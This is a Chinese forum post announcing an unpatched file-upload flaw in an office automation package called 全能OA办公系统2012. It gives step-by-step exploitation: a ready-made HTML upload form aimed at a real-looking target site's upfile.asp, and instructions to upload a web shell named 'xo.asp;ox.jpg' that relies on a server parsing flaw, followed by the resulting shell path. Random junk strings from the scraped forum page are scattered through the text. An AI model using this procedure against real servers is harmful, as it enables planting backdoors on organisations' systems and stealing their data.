全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
3 `& s  V+ T. F​
- B/ V  N6 Z) |3 A/ ~  ~5 ~; b6 s系统介绍：
6 M! V; V/ R) R
全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。

主要功能：
6 p" `. Z) X$ f1 S公司通告
工作计划
- ?9 J/ t: e. c7 M7 S# b: B- @! ~通讯助理
3 @7 }7 [/ k3 d9 A, p5 Q5 E5 f客户资源
我的公文
公文传阅
3 m. ?0 A) j3 r2 \/ {) h3 _公共资源
9 R, f3 d0 Z1 g6 a" p/ y2 C资源预约
" R6 Q& Z/ O  ~; X. y今日考勤
% J$ o# j( A) \* Q1 j个人计划
个人通讯录
9 d8 E) W5 [! X7 \, n& R0 D个人基本档案
. N) `% P" p  D4 C7 b& ~  N5 d- e未读邮件
发邮件
收件夹
寄件夹
网络硬盘
6 ?/ U+ F& O. {3 T, m% ]  W# J5 R网络会议
0 O; @/ x- h6 B; X, F; v4 z' {/ w网络调查
交流论坛
9 Z: G! Y& |0 `1 _
0 u" \) X7 S- n) h4 H8 [有兴趣测试的朋友可以下源码看看
1 ~' R- v: [( F4 u" @
源码下载：
6 W" L6 ^5 g; p" q1 E: C, P" n
. d4 w2 O2 z1 p: ?http://www.mycodes.net/30/4750.htm
3 N+ k" X4 d2 B2 d7 E' }
漏洞介绍：
& P( d1 W5 N; R$ ^: ]2 ]& x. p$ S
/ B/ O$ Q3 s2 k# c1 e6 v' |由upfile.asp上传文件漏洞引起

测试方法：

使用名小子上传http://www.itlynn.com/upfile.asp即可
! C7 O! N. U2 O1 u- z9 N
( U8 L$ s, v# v. |0 ]/ a如果upfile.asp文件被删除不存在。

* n( z! Q. [  p6 f  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。

: P4 i( K: ?9 u$ y如果存在那么将如下代码保存为upfile.html。
9 Q; X4 ]* g$ b# t: X
4 _4 c6 f% p7 P3 ~: y8 ]然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。
- H5 j7 g# C" a) _; t' n


% k& R+ e0 N, M01 <table border='0' align="center" cellpadding="5">

02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">
7 _9 @; l+ x* @6 z  T3 e) Z) M# R* @
- `, i0 [) z0 P3 F4 `03 <tr>
9 N# s* x/ i$ Z% Y# P5 V1 p
04             <td>报错：</td>

05             <td><input type='radio' name='errnumber' value='0'>

06               自动更名
* K) L& H& I4 S! ~5 U* p
5 L2 u# R* t7 V  \/ x" N* h- G07               <input type='radio' name='errnumber' value='1' checked>

08               报错方式
" d# ~  @9 N" O$ C/ I; R
, n/ Z# N5 Y% h+ K09               <input type='radio' name='errnumber' value='2'>
# A2 d3 j0 N2 e& y1 q6 l  N4 N4 h
10               直接覆盖</td>
( M7 S5 T! g6 `9 I" V# P* Z
+ u& H& K0 ~1 G11           </tr>

7 ?' @. _/ U6 q! ]/ P12           <tr>
) K( B4 q# ]; @: a6 I5 \
13             <td>主题：</td>

. T8 q, z: P  a. D* H" G0 v3 F14             <td><input type='text' name='filename' size='30'></td>
; r# ]) y) E; u  U' N0 a  r. U
& W$ g2 M* ^* t/ h! b# r' b( |15           </tr>
+ l7 z6 _1 k! X" S, ~& W  N0 C! [
16           <tr>
, v" I- s4 U7 e  x5 v
17             <td>文件：</td>
1 l9 d5 x, M* A4 x5 i
18             <td><input type="file"name="fruit"size="30"></td>
' ^  ?0 l/ p7 f; C4 D. h
19           </tr>

9 d) S8 T. z' t' v- r# m: g20           <tr>
4 i6 M. e+ u) j" d8 J# ^7 `
21             <td valign='top'>简介：</td>

22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>

23           </tr>
% s* N- M3 p5 h3 ?
24   

) |8 c+ e" W7 c9 r3 O) V: t25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>

8 A9 I6 }" I- c( K5 I/ K26           </tr>

27         </form>

然后打开上传一个文件名为xo.asp;ox.jpg的文件。

. e7 l& |4 C% e5 c3 I' Y2 C* J" }
/ p5 y3 ^5 O* E) D" I
上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg
) ?) N/ T/ D2 G6 J; H3 g. V7 g1 q
此漏洞需要配合解析漏洞利用。
2 J# D; v( S1 O, Y